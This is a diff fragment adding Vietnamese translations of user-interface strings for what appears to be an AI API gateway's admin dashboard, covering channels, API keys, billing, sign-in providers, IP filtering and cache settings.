+    "Administrator username": "Tên người dùng quản trị viên",
+    "Advanced": "Nâng cao",
+    "Advanced Configuration": "Cấu hình nâng cao",
+    "Advanced options": "Tùy chọn nâng cao",
+    "Advanced Options": "Tùy chọn nâng cao",
+    "Advanced platform configuration.": "Cấu hình nền tảng nâng cao.",
+    "Advanced Settings": "Cài đặt nâng cao",
+    "After clicking the button, you'll be asked to authorize the bot": "Sau khi nhấp vào nút, bạn sẽ được yêu cầu ủy quyền cho bot",
+    "After disabling, it will no longer be shown to users, but historical orders are not affected. Continue?": "Sau khi vô hiệu hóa, sẽ không hiển thị cho người dùng nữa, nhưng đơn hàng lịch sử không bị ảnh hưởng. Tiếp tục?",
+    "After enabling, the plan will be shown to users. Continue?": "Sau khi kích hoạt, gói sẽ được hiển thị cho người dùng. Tiếp tục?",
+    "After invalidating, this subscription will be immediately deactivated. Historical records are not affected. Continue?": "Sau khi vô hiệu hóa, đăng ký này sẽ bị hủy kích hoạt ngay lập tức. Hồ sơ lịch sử không bị ảnh hưởng. Tiếp tục?",
+    "After scanning, the binding will complete automatically": "Sau khi quét, việc liên kết sẽ hoàn tất tự động.",
+    "Agent ID *": "Mã đại lý *",
+    "Aggregated usage metrics and trend charts.": "Chỉ số sử dụng tổng hợp và biểu đồ xu hướng.",
+    "aggregates 50+ AI providers behind one unified API. Manage access, track costs, and scale effortlessly.": "tổng hợp hơn 50 nhà cung cấp AI sau một API thống nhất. Quản lý truy cập, theo dõi chi phí và mở rộng dễ dàng.",
+    "AGPL v3.0 License": "Giấy phép AGPL v3.0",
+    "AI model testing environment": "Môi trường thử nghiệm mô hình AI",
+    "AI models": "mô hình AI",
+    "AI models supported": "Các mô hình AI được hỗ trợ",
+    "AI Proxy": "AI Proxy",
+    "AI Proxy Library": "Thư viện AI Proxy",
+    "AIGC2D": "AIGC2D",
+    "AILS": "AILS",
+    "AK/SK mode: use AccessKey|SecretAccessKey|Region": "Chế độ AK/SK: sử dụng AccessKey|SecretAccessKey|Region",
+    "Ali": "Ali",
+    "All": "All",
+    "All edits are overwrite operations. Leave fields empty to keep current values unchanged.": "Tất cả các chỉnh sửa đều là thao tác ghi đè. Để trống các trường để giữ nguyên giá trị hiện tại.",
+    "All files exceed the maximum size.": "Tất cả các tệp vượt quá kích thước tối đa.",
+    "All Groups": "Tất cả các nhóm",
+    "All Models": "Tất cả các mẫu",
+    "All models in use are properly configured.": "Tất cả các mô hình đang được sử dụng đều được cấu hình đúng cách.",
+    "All Status": "Tất cả trạng thái",
+    "All Sync Status": "Tất cả Trạng thái Đồng bộ",
+    "All Tags": "Tất cả Thẻ",
+    "All Types": "All types",
+    "All upstream data is trusted": "Tất cả dữ liệu thượng nguồn đều được tin cậy",
+    "All Vendors": "Tất cả Nhà cung cấp",
+    "All Your AI Models": "Tất cả mô hình AI của bạn",
+    "Allocated Memory": "Bộ nhớ đã cấp phát",
+    "Allow accountFilter parameter": "Cho phép tham số accountFilter",
+    "Allow Claude beta query passthrough": "Cho phép chuyển tiếp truy vấn beta Claude",
+    "Allow clients to query configured ratios via `/api/ratio`.": "Cho phép khách hàng truy vấn các tỷ lệ đã cấu hình thông qua `/api/ratio`.",
+    "Allow HTTP image requests": "Cho phép yêu cầu hình ảnh HTTP",
+    "Allow include usage obfuscation passthrough": "Cho phép chuyển tiếp che giấu sử dụng",
+    "Allow inference geography passthrough": "Cho phép chuyển tiếp vị trí địa lý suy luận",
+    "Allow inference_geo passthrough": "Cho phép truyền inference_geo",
+    "Allow Insecure Origins": "Cho phép Nguồn gốc Không an toàn",
+    "Allow new users to register": "Cho phép người dùng mới đăng ký",
+    "Allow Private IPs": "Cho phép IP riêng",
+    "Allow registration with password": "Cho phép đăng ký bằng mật khẩu",
+    "Allow requests to private IP ranges (10.0.0.0/8, 172.16.0.0/12, 192.168.0.0/16)": "Cho phép các yêu cầu đến các dải IP riêng (10.0.0.0/8, 172.16.0.0/12, 192.168.0.0/16)",
+    "Allow safety_identifier passthrough": "Cho phép chuyển tiếp safety_identifier",
+    "Allow service_tier passthrough": "Cho phép chuyển tiếp service_tier",
+    "Allow speed passthrough": "Cho phép truyền speed",
+    "Allow upstream callbacks": "Cho phép callback upstream",
+    "Allow users to check in daily for random quota rewards": "Cho phép người dùng điểm danh hàng ngày để nhận phần thưởng hạn ngạch ngẫu nhiên",
+    "Allow users to enter promo codes": "Cho phép người dùng nhập mã khuyến mãi",
+    "Allow users to log in with password": "Cho phép người dùng đăng nhập bằng mật khẩu",
+    "Allow users to register and sign in with Passkey (WebAuthn)": "Cho phép người dùng đăng ký và đăng nhập bằng Passkey (WebAuthn)",
+    "Allow users to sign in with Discord": "Cho phép người dùng đăng nhập bằng Discord",
+    "Allow users to sign in with GitHub": "Cho phép người dùng đăng nhập bằng GitHub",
+    "Allow users to sign in with LinuxDO": "Cho phép người dùng đăng nhập bằng LinuxDO",
+    "Allow users to sign in with OpenID Connect": "Cho phép người dùng đăng nhập bằng OpenID Connect",
+    "Allow users to sign in with Telegram": "Cho phép người dùng đăng nhập bằng Telegram",
+    "Allow users to sign in with this provider": "Cho phép người dùng đăng nhập bằng nhà cung cấp này",
+    "Allow users to sign in with WeChat": "Cho phép người dùng đăng nhập bằng WeChat",
+    "Allow using models without price configuration": "Cho phép sử dụng mô hình không có cấu hình giá",
+    "Allowed": "Cho phép",
+    "Allowed Origins": "Nguồn gốc được phép",
+    "Allowed Ports": "Cổng được phép",
+    "Already have an account?": "Đã có tài khoản?",
+    "Always matches (default tier).": "Luôn khớp (bậc mặc định).",
+    "Amount": "Số lượng",
+    "Amount cannot be changed when editing.": "Số tiền không thể thay đổi khi chỉnh sửa.",
+    "Amount discount": "Số tiền giảm giá",
+    "Amount Due": "Số tiền cần thanh toán",
+    "Amount must be a whole number": "Số tiền phải là số nguyên",
+    "Amount must be greater than 0": "Số tiền phải lớn hơn 0",
+    "Amount of quota to credit to user account.": "Số lượng quota để ghi có vào tài khoản người dùng.",
+    "Amount options must be a JSON array": "Tùy chọn số tiền phải là mảng JSON",
+    "Amount to pay:": "Amount due:",
+    "An unexpected error occurred": "Đã xảy ra lỗi không mong muốn",
+    "and": "and",
+    "Announcement added. Click \"Save Settings\" to apply.": "Đã thêm thông báo. Nhấp \"Save Settings\" để áp dụng.",
+    "Announcement content": "Nội dung thông báo",
+    "Announcement deleted. Click \"Save Settings\" to apply.": "Đã xóa thông báo. Nhấp \"Save Settings\" để áp dụng.",
+    "Announcement Details": "Chi tiết thông báo",
+    "Announcement displayed to users (supports Markdown & HTML)": "Thông báo hiển thị cho người dùng (hỗ trợ Markdown & HTML)",
+    "Announcement updated. Click \"Save Settings\" to apply.": "Đã cập nhật thông báo. Nhấp \"Save Settings\" để áp dụng.",
+    "Announcements": "Thông báo",
+    "Announcements saved successfully": "Đã lưu thông báo thành công",
+    "Answer": "Trả lời",
+    "Anthropic": "Anthropic",
+    "API Addresses": "Địa chỉ API",
+    "API Base URL (Important: Not Chat API) *": "URL cơ sở API (Quan trọng: Không phải API Chat) *",
+    "API Base URL *": "URL cơ sở API *",
+    "API Endpoints": "Điểm cuối API",
+    "API Info": "Thông tin API",
+    "API info added. Click \"Save Settings\" to apply.": "Thông tin API đã được thêm. Nhấp vào \"Lưu Cài đặt\" để áp dụng.",
+    "API info deleted. Click \"Save Settings\" to apply.": "Thông tin API đã được xóa. Nhấp vào \"Lưu Cài đặt\" để áp dụng.",
+    "API info saved successfully": "Đã lưu thông tin API thành công",
+    "API info updated. Click \"Save Settings\" to apply.": "Thông tin API đã được cập nhật. Nhấp vào \"Lưu Cài đặt\" để áp dụng.",
+    "API key": "Khóa API",
+    "API Key": "Khóa API",
+    "API Key (one per line for batch mode)": "Khóa API (mỗi khóa một dòng cho chế độ hàng loạt)",
+    "API Key (Production)": "API Key (Sản xuất)",
+    "API Key (Sandbox)": "Khóa API (Sandbox)",
+    "API Key *": "Khóa API *",
+    "API Key created successfully": "Tạo khóa API thành công",
+    "API Key deleted successfully": "Xóa khóa API thành công",
+    "API Key disabled successfully": "Vô hiệu hóa khóa API thành công",
+    "API Key enabled successfully": "Kích hoạt khóa API thành công",
+    "API key from the provider": "khóa API từ nhà cung cấp",
+    "API key is required": "Khóa API là bắt buộc",
+    "API Key mode (does not support batch creation)": "Chế độ Khóa API (không hỗ trợ tạo hàng loạt)",
+    "API Key mode: use APIKey|Region": "Chế độ khóa API: sử dụng APIKey|Region",
+    "API Key updated successfully": "API Key đã được cập nhật thành công",
+    "API Keys": "Khóa API",
+    "API Private Key": "Khóa riêng API",
+    "API Requests": "Yêu cầu API",
+    "API secret": "Bí mật API",
+    "API token management": "Quản lý token API",
+    "API URL": "API URL",
+    "API usage records": "Lịch sử sử dụng API",
+    "API2GPT": "API2GPT",
+    "Append": "Thêm vào cuối",
+    "Append mode: New keys will be added to the end of the existing key list": "Chế độ nối: Các khóa mới sẽ được thêm vào cuối danh sách khóa hiện có",
+    "Append to channel": "Nối vào kênh",
+    "Append to existing keys": "Add to existing keys",
+    "appended": "đã thêm vào cuối, được phụ lục",
+    "Application": "Ứng dụng",
+    "Applies to custom completion endpoints. JSON map of model → ratio.": "Áp dụng cho các điểm cuối hoàn thành tùy chỉnh. Bản đồ JSON của mô hình → tỷ lệ.",
+    "Apply All Upstream Updates": "Áp dụng Tất cả Cập nhật Upstream",
+    "Apply Filters": "Áp dụng bộ lọc",
+    "Apply IP Filter to Resolved Domains": "Áp dụng Bộ lọc IP cho Tên miền đã phân giải",
+    "Apply Overwrite": "Áp dụng Ghi đè",
+    "Apply Sync": "Áp dụng đồng bộ",
+    "Applying...": "Đang áp dụng...",
+    "Approx.": "Xấp xỉ.",
+    "are also listed here. Remove them from Models to keep the `/v1/models` response user-friendly and hide vendor-specific names.": "cũng được liệt kê ở đây. Xóa chúng khỏi Models để giữ cho phản hồi `/v1/models` thân thiện với người dùng và ẩn các tên dành riêng cho nhà cung cấp.",
+    "Are you sure you want to delete": "Bạn có chắc chắn muốn xóa ",
+    "Are you sure you want to delete all auto-disabled keys? This action cannot be undone.": "Bạn có chắc chắn muốn xóa tất cả các khóa bị tắt tự động? Hành động này không thể hoàn tác.",
+    "Are you sure you want to delete deployment \"{{name}}\"? This action cannot be undone.": "Bạn có chắc muốn xóa triển khai \"{{name}}\" không? Hành động này không thể hoàn tác.",
+    "Are you sure you want to delete this key? This action cannot be undone.": "Bạn có chắc chắn muốn xóa khóa này? Hành động này không thể hoàn tác.",
+    "Are you sure you want to disable all enabled keys?": "Bạn có chắc chắn muốn vô hiệu hóa tất cả các khóa đang bật không?",
+    "Are you sure you want to enable all keys?": "Bạn có chắc chắn muốn bật tất cả các khóa không?",
+    "Are you sure you want to manually complete this order? The user will be credited with the corresponding quota.": "Bạn có chắc muốn hoàn thành thủ công đơn hàng này không? Người dùng sẽ được cộng hạn mức tương ứng.",
+    "Are you sure you want to sign out? You will need to sign in again to access your account.": "Bạn có chắc chắn muốn đăng xuất? Bạn sẽ cần đăng nhập lại để truy cập tài khoản của mình.",
+    "Are you sure you want to unbind {{provider}} for this user? The user will no longer be able to log in via this method.": "Bạn có chắc chắn muốn hủy liên kết {{provider}} cho người dùng này? Người dùng sẽ không thể đăng nhập bằng phương thức này nữa.",
+    "Are you sure you want to unbind {{provider}}? You will no longer be able to log in via this method.": "Bạn có chắc chắn muốn hủy liên kết {{provider}}? Bạn sẽ không thể đăng nhập bằng phương thức này nữa.",
+    "Are you sure?": "Bạn có chắc không?",
+    "Args (space separated)": "Đối số (cách nhau bằng khoảng trắng)",
+    "Array of chat client presets. Each item is an object with one key-value pair: client name and its URL.": "Mảng các thiết lập sẵn của ứng dụng trò chuyện. Mỗi mục là một đối tượng với",
+    "Area Chart": "Biểu đồ vùng",
+    "Asc": "Asc",
+    "Ask anything": "Hỏi gì cũng được",
+    "Async task refund": "Hoàn tiền tác vụ bất đồng bộ",
+    "At least one model regex pattern is required": "Cần ít nhất một mẫu regex mô hình",
+    "At least one valid key source is required": "Cần ít nhất một nguồn khóa hợp lệ",
+    "Attach": "Đính kèm",
+    "Audio": "Âm thanh",
+    "Audio comp.": "Nén âm thanh",
+    "Audio completion ratio": "Tỷ lệ hoàn thành âm thanh",
+    "Audio In": "Đầu vào âm thanh",
+    "Audio input": "Đầu vào âm thanh",
+    "Audio Input": "Đầu vào âm thanh",
+    "Audio Input Price": "Giá đầu vào âm thanh",
+    "Audio Out": "Đầu ra âm thanh",
+    "Audio output": "Đầu ra âm thanh",
+    "Audio Output": "Đầu ra âm thanh",
+    "Audio playback failed": "Phát âm thanh thất bại",
+    "Audio Preview": "Xem trước âm thanh",
+    "Audio ratio": "Tỷ lệ âm thanh",
+    "Audio Tokens": "Token âm thanh",
+    "Auth Style": "Kiểu xác thực",
+    "Authentication": "Xác thực",
+    "Authenticator code": "Mã xác thực",
+    "Authorization Endpoint": "Điểm cuối ủy quyền",
+    "Authorization Endpoint (Optional)": "Điểm cuối ủy quyền (Tùy chọn)",
+    "Authorize": "Ủy quyền",
+    "Auto": "Tự động",
+    "Auto (Circuit Breaker)": "Tự động (Bộ ngắt mạch)",
+    "Auto assignment order": "Thứ tự gán tự động",
+    "Auto Ban": "Cấm tự động",
+    "Auto detect (default)": "Tự động phát hiện (mặc định)",
+    "Auto Disabled": "Vô hiệu hóa tự động",
+    "Auto Group Chain": "Chuỗi nhóm tự động",
+    "Auto refresh": "Tự động làm mới",
+    "Auto Sync Upstream Models": "Tự động đồng bộ mô hình nguồn",
+    "Auto-disable status codes": "Mã trạng thái tự tắt",
+    "Auto-discover": "Tự động khám phá",
+    "Auto-discovers endpoints from the provider": "Tự động khám phá các điểm cuối từ nhà cung cấp",
+    "Auto-retry status codes": "Mã trạng thái tự thử lại",
+    "Automatically disable channel on repeated failures": "Tự động vô hiệu hóa kênh khi xảy ra lỗi lặp lại",
+    "Automatically disable channels exceeding this response time": "Tự động vô hiệu hóa các kênh vượt quá thời gian phản hồi này",
+    "Automatically disable channels when tests fail": "Tự động vô hiệu hóa các kênh khi kiểm thử thất bại",
+    "Automatically probe all channels in the background": "Tự động dò tất cả các kênh trong nền",
+    "Automatically replaces upstream callback URLs with the server address.": "Tự động thay thế URL callback upstream bằng địa chỉ máy chủ.",
+    "Automatically selects the best available group with circuit breaker mechanism": "Tự động chọn nhóm tốt nhất hiện có với cơ chế ngắt mạch",
+    "Automatically sync model list when upstream changes are detected": "Tự động đồng bộ danh sách mô hình khi phát hiện thay đổi từ nguồn",
+    "Automatically test channels and notify users when limits are hit": "Tự động kiểm tra các kênh và thông báo cho người dùng khi đạt đến giới hạn",
+    "Available": "Khả dụng",
+    "Available disk space": "Dung lượng đĩa khả dụng",
+    "Available Models": "Mô hình khả dụng",
+    "Available Rewards": "Phần thưởng hiện có",
+    "Average RPM": "RPM trung bình",
+    "Average TPM": "TPM trung bình",
+    "AWS": "AWS",
+    "AWS Key Format": "Định dạng khóa AWS",
+    "Azure": "Azure",
+    "AZURE_OPENAI_ENDPOINT *": "AZURE_OPENAI_ENDPOINT *",
+    "Back": "Quay lại",
+    "Back to Home": "Trở về Trang chủ",
+    "Back to login": "Quay lại đăng nhập",
+    "Back to Models": "Quay lại Mô hình",
+    "Backed up": "Đã sao lưu",
+    "Background job tracker for queued work.": "Theo dõi công việc nền cho công việc chờ xử lý.",
+    "Backup Code": "Mã dự phòng",
+    "Backup code must be in format XXXX-XXXX": "Mã dự phòng phải có định dạng XXXX-XXXX",
+    "Backup codes regenerated successfully": "Mã dự phòng đã được tạo lại thành công",
+    "Backup codes remaining: {{count}}": "Mã dự phòng còn lại: {{count}}",
+    "Badge Color": "Màu huy hiệu",
+    "Baidu": "Baidu",
+    "Baidu V2": "Baidu V2",
+    "Balance": "Cân bằng",
+    "Balance and top-up management": "Quản lý số dư và nạp tiền",
+    "Balance queried successfully": "Truy vấn số dư thành công",
+    "Balance updated successfully": "Đã cập nhật số dư thành công",
+    "Balance updated: {{balance}}": "Số dư đã cập nhật: {{balance}}",
+    "Bar Chart": "Biểu đồ cột",
+    "Bark Push URL": "URL đẩy Bark",
+    "Base address provided by your Epay service": "Địa chỉ cơ sở được cung cấp bởi dịch vụ Epay của bạn",
+    "Base amount. Actual deduction = base amount × system group rate.": "Số tiền cơ sở. Số tiền trừ thực tế = số tiền cơ sở × tỷ lệ nhóm hệ thống.",
+    "Base Limits": "Giới hạn cơ bản",
+    "Base multipliers applied when users select specific groups.": "Hệ số nhân cơ bản được áp dụng khi người dùng chọn các nhóm cụ thể.",
+    "Base rate limit windows for this account.": "Cửa sổ giới hạn tốc độ cơ bản cho tài khoản này.",
+    "Base URL": "URL cơ sở",
+    "Base URL of your Uptime Kuma instance": "URL cơ sở của phiên bản Uptime Kuma của bạn",
+    "Basic Authentication": "Xác thực cơ bản",
+    "Basic Configuration": "Cấu hình cơ bản",
+    "Basic Info": "Thông tin cơ bản",
+    "Basic Information": "Thông tin cơ bản",
+    "Batch Add (one key per line)": "Thêm hàng loạt (mỗi khóa một dòng)",
+    "Batch delete failed": "Xóa hàng loạt thất bại",
+    "Batch detection complete: {{channels}} channels, {{add}} to add, {{remove}} to remove, {{fails}} failed": "Phát hiện hàng loạt hoàn tất: {{channels}} kênh, {{add}} để thêm, {{remove}} để xóa, {{fails}} thất bại",
+    "Batch detection failed": "Phát hiện hàng loạt thất bại",
+    "Batch disable failed": "Vô hiệu hóa hàng loạt thất bại",
+    "Batch Edit": "Chỉnh sửa hàng loạt",
+    "Batch edit all channels with this tag. Leave fields empty to keep current values.": "Chỉnh sửa hàng loạt tất cả các kênh có gắn thẻ này. Để trống các trường để giữ nguyên giá trị hiện tại.",
+    "Batch Edit by Tag": "Chỉnh sửa hàng loạt theo Thẻ",
+    "Batch enable failed": "Kích hoạt hàng loạt thất bại",
+    "Batch processing failed": "Xử lý hàng loạt thất bại",
+    "Batch upstream model updates applied: {{channels}} channels, {{added}} added, {{removed}} removed, {{fails}} failed": "Đã áp dụng cập nhật hàng loạt mô hình upstream: {{channels}} kênh, {{added}} đã thêm, {{removed}} đã xóa, {{fails}} thất bại",
+    "Best for single-tenant deployments. Pricing and billing options stay hidden.": "Phù hợp nhất cho triển khai đơn người dùng. Các tùy chọn giá và thanh toán sẽ được ẩn.",
+    "Billing": "Thanh toán",
+    "Billing currency": "Loại tiền thanh toán",
+    "Billing Details": "Chi tiết thanh toán",
+    "Billing History": "Lịch sử thanh toán",
+    "Billing Mode": "Chế độ thanh toán",
+    "Billing Process": "Quá trình tính phí",
+    "Billing Source": "Nguồn thanh toán",
+    "Bind": "Buộc",
+    "Bind an email address to your account.": "Liên kết địa chỉ email với tài khoản của bạn.",
+    "Bind Email": "Liên kết Email",
+    "Bind Telegram Account": "Liên kết tài khoản Telegram",
+    "Bind WeChat Account": "Liên kết tài khoản WeChat",
+    "Binding Information": "Thông tin Ràng buộc",
+    "Binding successful!": "Liên kết thành công!",
+    "Binding your {{provider}} account": "Đang liên kết tài khoản {{provider}} của bạn",
+    "Binding...": "Đang liên kết...",
+    "Bindings": "Ràng buộc",
+    "Blacklist": "Danh sách đen",
+    "Blacklist (Block listed domains)": "Danh sách đen (Các tên miền bị chặn)",
+    "Blacklist (Block listed IPs)": "Danh sách đen (Các IP bị chặn)",
+    "Blank Rule": "Quy tắc trống",
+    "Blend": "Trộn",
+    "Block email aliases (e.g., user+alias@domain.com)": "Chặn bí danh email (ví dụ: user+alias@domain.com)",
+    "Blocked keywords": "Blocked keyword",
+    "Blocks messages when sensitive keywords are detected.": "Chặn tin nhắn khi phát hiện từ khóa nhạy cảm.",
+    "Body param": "Tham số body",
+    "Bot Name": "Tên Bot",
+    "Bot Protection": "Bảo vệ Bot",
+    "Bot Token": "Mã thông báo Bot",
+    "Bot:": "Bot:",
+    "Bound": "Ràng buộc",
+    "Bound Channels": "Các kênh ràng buộc",
+    "Bound Only": "Chỉ đã liên kết",
+    "Bring channels back online after successful checks": "Khôi phục các kênh trực tuyến sau khi kiểm tra thành công",
+    "Broadcast a global banner to users. Markdown is supported.": "Phát một biểu ngữ toàn cầu đến người dùng. Hỗ trợ Markdown.",
+    "Broadcast short system notices on the dashboard": "Phát các thông báo hệ thống ngắn trên bảng điều khiển",
+    "Browse and compare": "Duyệt và so sánh",
+    "Budget tokens = max tokens × ratio. Accepts a decimal between 0.002 and 1. Recommended to keep aligned with upstream billing.": "Số token ngân sách = số token tối đa × tỷ lệ. Chấp nhận một số thập phân từ 0.002 đến 1. Khuyến nghị nên giữ cho phù hợp với cách tính phí của nhà cung cấp.",
+    "Budget tokens = max tokens × ratio. Accepts a decimal between 0.1 and 1.": "Số token ngân sách = số token tối đa × tỷ lệ. Chấp nhận một số thập phân từ 0.1 đến 1.",
+    "Budget Tokens Ratio": "Tỷ lệ Mã thông báo Ngân sách",
+    "Budgets": "Ngân sách",
+    "Built for developers,": "Được xây dựng cho nhà phát triển,",
+    "Built-in": "Tích hợp sẵn",
+    "Built-in Device": "Thiết bị tích hợp",
+    "Built-in: phone fingerprint/face, or Windows Hello; External: USB security key": "Tích hợp sẵn: vân tay/khuôn mặt điện thoại, hoặc Windows Hello; Bên ngoài: khóa bảo mật USB",
+    "by": "by",
+    "Cache": "Bộ nhớ đệm",
+    "Cache Creation": "Tạo cache",
+    "Cache Creation (1h)": "Tạo cache (1h)",
+    "Cache Creation (5m)": "Tạo cache (5m)",
+    "Cache Directory": "Thư mục bộ nhớ đệm",
+    "Cache Directory Disk Space": "Dung lượng đĩa thư mục bộ nhớ đệm",
+    "Cache Directory Info": "Thông tin thư mục bộ nhớ đệm",
+    "Cache Entries": "Mục bộ nhớ đệm",
+    "Cache mode": "Chế độ bộ đệm",
+    "Cache ratio": "Tỷ lệ bộ nhớ đệm",
+    "Cache Read": "Đọc bộ nhớ đệm",
+    "Cache write": "Ghi cache",
+    "Cache Write": "Ghi bộ nhớ đệm",
+    "Cache Write (1h)": "Ghi cache (1h)",
+    "Cache Write (5m)": "Ghi cache (5m)",
+    "Cached": "Đã cache",
+    "Cached input": "Đầu vào đã cache",
+    "Calculated price: ${{price}} per 1M tokens": "Giá tính toán: ${{price}} mỗi 1M token",
+    "Calculated ratio: {{ratio}}": "Tỷ lệ tính toán: {{ratio}}",
+    "Calculating...": "Đang tính...",
+    "Call Count Distribution": "Phân bổ số lượt gọi",
+    "Call Count Ranking": "Xếp hạng số lượt gọi",
+    "Call Proportion": "Tỷ lệ cuộc gọi",
+    "Call Trend": "Xu hướng cuộc gọi",
+    "Callback address": "Địa chỉ callback",
+    "Callback Caller IP": "IP người gọi callback",
+    "Callback notification URL": "URL thông báo callback",
+    "Callback Payment Method": "Phương thức thanh toán callback",
+    "Callback URL": "URL callback",
+    "Cancel": "Hủy bỏ",
+    "Cancelled": "Đã hủy",
+    "Cancelled at": "Đã hủy lúc",
+    "Capture a reusable bundle of models, tags, or endpoints.": "Đóng gói một bộ có thể tái sử dụng gồm các mô hình, thẻ hoặc điểm cuối.",
+    "Category Name": "Tên danh mục",
+    "Category name is required": "Tên danh mục là bắt buộc",
+    "Category name must be less than 50 characters": "Tên danh mục phải ít hơn 50 ký tự",
+    "Caution": "Thận trọng",
+    "CC Switch": "Chuyển đổi CC",
+    "Chain": "Chuỗi",
+    "Change": "Thay đổi",
+    "Change language": "Đổi ngôn ngữ",
+    "Change Password": "Đổi mật khẩu",
+    "Change To": "Thay đổi thành",
+    "Changing...": "Đang thay đổi...",
+    "Channel": "Kênh",
+    "Channel Affinity": "Ưu tiên kênh",
+    "Channel affinity reuses the last successful channel based on keys extracted from the request context or JSON body.": "Ưu tiên kênh sẽ sử dụng lại kênh thành công gần nhất dựa trên các khóa được trích xuất từ ngữ cảnh yêu cầu hoặc JSON body.",
+    "Channel Affinity: Upstream Cache Hit": "Ưu tiên kênh: Cache hit từ upstream",
+    "Channel copied successfully": "Sao chép kênh thành công",
+    "Channel created successfully": "Tạo kênh thành công",
+    "Channel deleted successfully": "Xóa kênh thành công",
+    "Channel disabled successfully": "Kênh đã bị vô hiệu hóa thành công",
+    "Channel enabled successfully": "Kênh đã được bật thành công",
+    "Channel Extra Settings": "Cài đặt thêm kênh",
+    "Channel ID": "Mã kênh",
+    "Channel key unlocked": "Khóa kênh đã được mở khóa",
+    "Channel models": "Channel model",
+    "Channel name is required": "Tên kênh là bắt buộc",
+    "Channel test completed": "Kiểm tra kênh hoàn tất",
+    "Channel type is required": "Loại kênh là bắt buộc",
+    "Channel updated successfully": "Kênh đã được cập nhật thành công",
+    "Channel-specific settings (JSON format)": "Cài đặt dành riêng cho kênh (định dạng JSON)",
+    "Channel:": "Kênh:",
+    "channel(s)? This action cannot be undone.": "kênh(s)? Hành động này không thể hoàn tác.",
+    "Channels": "Kênh",
+    "Channels deleted successfully": "Xóa kênh thành công",
+    "Chart Settings": "Cài đặt Biểu đồ",
+    "Chat": "Trò chuyện",
+    "Chat area": "Khu vực trò chuyện",
+    "Chat Area": "Khu vực trò chuyện",
+    "Chat Client Name": "Tên ứng dụng khách trò chuyện",
+    "Chat client name is required": "Tên ứng dụng chat là bắt buộc",
+    "Chat configuration JSON": "Cấu hình trò chuyện JSON",
+    "Chat preset not found": "Thiết lập sẵn trò chuyện không tìm thấy",
+    "Chat Presets": "Cài đặt sẵn trò chuyện",
+    "Chat session management": "Quản lý phiên trò chuyện",
+    "ChatCompletions -> Responses Compatibility": "Tương thích ChatCompletions -> Phản hồi",
+    "Check for updates": "Kiểm tra cập nhật",
+    "Check in daily to receive random quota rewards": "Nhận phòng hàng ngày để nhận phần thưởng theo hạn ngạch ngẫu nhiên",
+    "Check in now": "Điểm danh ngay",
+    "Check resolved IPs against IP filters even when accessing by domain": "Kiểm tra các IP đã phân giải đối chiếu với các bộ lọc IP ngay cả khi truy cập bằng tên miền",
+    "Check-in failed": "Điểm danh thất bại",
+    "Check-in Settings": "Cài đặt điểm danh",
+    "Check-in successful! Received": "Điểm danh thành công! Đã nhận",
+    "Checked in": "Đã check-in",
+    "Checking connection": "Đang kiểm tra kết nối",
+    "Checking name...": "Đang kiểm tra tên...",
+    "Checking updates...": "Đang kiểm tra cập nhật...",
+    "checkout.session.completed": "thanh toán.phiên.hoàn thành",
+    "checkout.session.expired": "Phiên thanh toán đã hết hạn.",
+    "Chinese": "Tiếng Trung",
+    "Choose a username": "Chọn tên người dùng",
+    "Choose an amount and payment method": "Chọn số tiền và phương thức thanh toán",
+    "Choose between default expanded, compact icon-only, or full layout mode": "Chọn giữa chế độ mở rộng mặc định, chế độ chỉ biểu tượng thu gọn, hoặc chế độ bố cục đầy đủ",
+    "Choose between inset, floating, or standard sidebar layout": "Chọn giữa bố cục thanh bên chìm, nổi hoặc tiêu chuẩn",
+    "Choose between left-to-right or right-to-left site direction": "Chọn giữa hướng trang từ trái sang phải hoặc từ phải sang trái",
+    "Choose between system preference, light mode, or dark mode": "Lựa chọn giữa tùy chọn hệ thống, chế độ sáng hoặc chế độ tối",
+    "Choose channels to sync upstream ratio configurations from": "Chọn các kênh để đồng bộ cấu hình tỷ lệ đường lên từ",
+    "Choose Group": "Chọn Nhóm",
+    "Choose how quota values are shown to users": "Chọn cách hiển thị giá trị hạn ngạch cho người dùng",
+    "Choose how the platform will operate": "Chọn cách nền tảng sẽ hoạt động",
+    "Choose how to filter domains": "Chọn cách lọc tên miền",
+    "Choose how to filter IP addresses": "Chọn cách lọc địa chỉ IP",
+    "Choose the bundle type and define the items inside it.": "Chọn loại gói và định nghĩa các mục bên trong nó.",
+    "Choose where to fetch upstream metadata.": "Chọn nơi để tìm nạp siêu dữ liệu thượng nguồn.",
+    "Classic (Legacy Frontend)": "Cổ điển (Frontend cũ)",
+    "Claude": "Claude",
+    "Clean history logs": "Xóa nhật ký lịch sử",
+    "Clean logs": "Dọn dẹp nhật ký",
+    "Clean up inactive cache": "Dọn dẹp bộ nhớ đệm không hoạt động",
+    "Clean Up Log Files": "Dọn dẹp tệp nhật ký",
+    "Cleaned up {{count}} log files, freed {{size}}": "Đã dọn dẹp {{count}} tệp nhật ký, giải phóng {{size}}",
+    "Cleaning...": "Đang dọn dẹp...",
+    "Cleanup failed": "Dọn dẹp thất bại",
+    "Cleanup Mode": "Chế độ dọn dẹp",
+    "Clear": "Xóa",
+    "Clear all": "Xóa tất cả",
+    "Clear All": "Xóa tất cả",
+    "Clear All Cache": "Xóa toàn bộ bộ nhớ đệm",
+    "Clear all filters": "Xóa tất cả bộ lọc",
+    "Clear cache for this rule": "Xóa bộ nhớ đệm của quy tắc này",
+    "Clear filters": "Clear filter",
+    "Clear Mapping": "Xóa Ánh xạ",
+    "Clear mode flags in prompts": "Xóa các cờ chế độ trong lời nhắc",
+    "Clear search": "Xóa tìm kiếm",
+    "Clear selection": "Bỏ chọn",
+    "Clear selection (Escape)": "Bỏ chọn (Escape)",
+    "Cleared": "Đã xóa",
+    "Cleared all models": "Đã xóa tất cả các mô hình",
+    "Click \"Create Plan\" to create your first subscription plan": "Nhấp \"Tạo gói\" để tạo gói đăng ký đầu tiên",
+    "Click \"Generate\" to create a token": "Nhấp \"Tạo\" để tạo một token",
+    "Click for details": "Nhấp để xem chi tiết",
+    "Click save when you're done.": "Nhấn lưu khi bạn hoàn tất.",
+    "Click save when you&apos;re done.": "Nhấn lưu khi bạn hoàn tất.",
+    "Click the button below to bind your Telegram account": "Nhấp vào nút bên dưới để liên kết tài khoản Telegram của bạn",
+    "Click to open deployment": "Nhấp để mở triển khai",
+    "Click to preview audio": "Nhấp để xem trước âm thanh",
+    "Click to preview video": "Nhấp để xem trước video",
+    "Click to update balance": "Nhấp để cập nhật số dư",
+    "Click to view Codex usage": "Nhấp để xem mức sử dụng Codex",
+    "Click to view full details": "Nhấn để xem chi tiết đầy đủ",
